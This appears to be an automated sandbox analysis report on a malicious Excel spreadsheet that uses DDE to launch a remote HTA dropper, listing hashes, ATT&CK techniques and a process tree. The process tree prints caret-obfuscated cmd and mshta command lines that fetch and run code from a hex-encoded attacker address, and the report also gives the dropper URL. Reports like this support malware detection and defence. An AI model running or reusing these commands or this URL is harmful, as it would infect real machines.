e1f3695a995bac12ea86c1386facebd53140f1126961897635bcd47f500e7a01

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:15

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General

Target

e1f3695a995bac12ea86c1386facebd53140f1126961897635bcd47f500e7a01.xls
Size

101KB
MD5

966af2aa93158d66849a869e4b636026
SHA1

84044cf30ae5ae7ea90b7f529048be2582a7941f
SHA256

e1f3695a995bac12ea86c1386facebd53140f1126961897635bcd47f500e7a01
SHA512

3ee6b8add4d73cacfec052d9cc91a8b4158aac72bd1c18fea5e8c4f32bf8e85d1634341f5862f6411f6dcace09eafa53ed29e57811253d10da9ef0619795451d
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1784	1792	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2388	mshta.exe
7	2388	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1792	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1792	EXCEL.EXE
1792	EXCEL.EXE
1792	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 1784	1792	EXCEL.EXE	30
PID 1792 wrote to memory of 1784	1792	EXCEL.EXE	30
PID 1792 wrote to memory of 1784	1792	EXCEL.EXE	30
PID 1792 wrote to memory of 1784	1792	EXCEL.EXE	30
PID 1784 wrote to memory of 2388	1784	cmd.exe	32
PID 1784 wrote to memory of 2388	1784	cmd.exe	32
PID 1784 wrote to memory of 2388	1784	cmd.exe	32
PID 1784 wrote to memory of 2388	1784	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e1f3695a995bac12ea86c1386facebd53140f1126961897635bcd47f500e7a01.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1792-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1792-1-0x000000007227D000-0x0000000072288000-memory.dmp

Filesize
44KB

Download
memory/1792-2-0x000000007227D000-0x0000000072288000-memory.dmp

Filesize
44KB

Download